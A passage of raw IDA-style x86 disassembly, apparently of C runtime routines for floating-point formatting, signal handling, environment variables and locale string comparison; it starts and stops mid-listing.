ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25E0000h test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx call near ptr 25E066Dh nop test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E066Dh jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28A0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2810000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2810000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg 